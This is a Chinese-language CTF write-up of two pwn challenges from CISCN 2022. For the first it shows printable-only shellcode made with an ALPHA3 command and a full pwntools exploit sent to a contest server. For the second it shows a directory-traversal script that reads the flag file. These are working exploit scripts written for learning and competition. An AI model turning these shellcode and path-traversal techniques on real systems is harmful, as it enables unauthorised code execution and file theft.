前言
今年ciscn总共三题pwn,一题算是签到,一题2.34的堆做一半没成功,一题LLVM PASS没学过完全不会。分区赛六题pwn,awdplus的模式,成了修洞的乐园。
login-nomal
这题其实做过类似的,在蓝帽杯还是哪来着做过,在代码审计部分差不多一致,只是在最后的利用过程有改动。首先就是一个循环执行函数,接着看函数的主要内容。
image-20220705213148416
接着看又是一个循环,这个循环就是这题最麻烦的点了,需要一步步的耐心整理,当时我做是直接找了类似题目进行比较的,所以没花多少功夫,需要注意一下的就是msg后跟的字符串要多输入一个,因为处理的时候strlen-1了,会少一个字符。
image-20220705213257184
审完上面的代码,接下来就是主要的菜单内容,主要关注1和3执行的内容。
image-20220705213831271
在执行1函数可以设置一个flag为1,这个为3执行到mmap提供真的判断条件,而要能够执行这串代码,需要的是先通过isprint的检验,所以就是只能输入明文字符,这就涉及到的一个考点就是明文字符书写shellcode。明文字符生成可以通过alpha3或者AE64进行自动生成。我使用的是alpha3,执行命令为:
1
| python ./ALPHA3.py x64 ascii mixedcase rdx --input="shellcode"
|
rdx是指call后面跟着的那个寄存器,也就是存放shellcode首地址的寄存器。
image-20220705213700566
image-20220705213732318
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
|
from pwn import * context(arch = 'amd64',os = 'linux',log_level = 'debug') elf = ELF('./login') DEBUG = 0 if DEBUG: libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.33-0ubuntu5_amd64/libc-2.33.so") ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.33-0ubuntu5_amd64/ld-2.33.so") p = process(argv=[ld.path,elf.path], env={"LD_PRELOAD" : libc.path}) p = process('./login') else: ip = '47.93.156.2' port = 24875 p = remote(ip, port) def debug(): gdb.attach(p, "b main")
p.recvuntil(">>> ") p.send("opt:1\nmsg:ro0ta\n\n") p.recvuntil(">>> ")
p.send("opt:2\nmsg:Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070ta\n\n")
p.interactive()
|
二维码
这题跑去问了柘狐师傅,也是个签到题。但是比赛那会没做出来,太菜了。
利用点在于black初始值是为0的,那么没有过滤..
image-20220707093637899
同时,因为可以输入文件的名字,并且是可以含有.
和/
,那么就存在了目录穿越的问题,利用../
可以返回到上一级的特点,可以把flag内容打印出来。
image-20220707093800921
image-20220707093746094
打印出的内容为base64加密的结果,解码即可。
image-20220707094151700
image-20220707094220973
1 2 3 4 5 6 7 8 9 10
| from pwn import *
p = process('./pwn2') context(log_level = 'debug') p.recvuntil("change filename? (y/N)") p.send('y') p.recvuntil("input new filename: ") p.send("../home/shoucheng/pwn/flag\n") p.shutdown('write') p.interactive()
|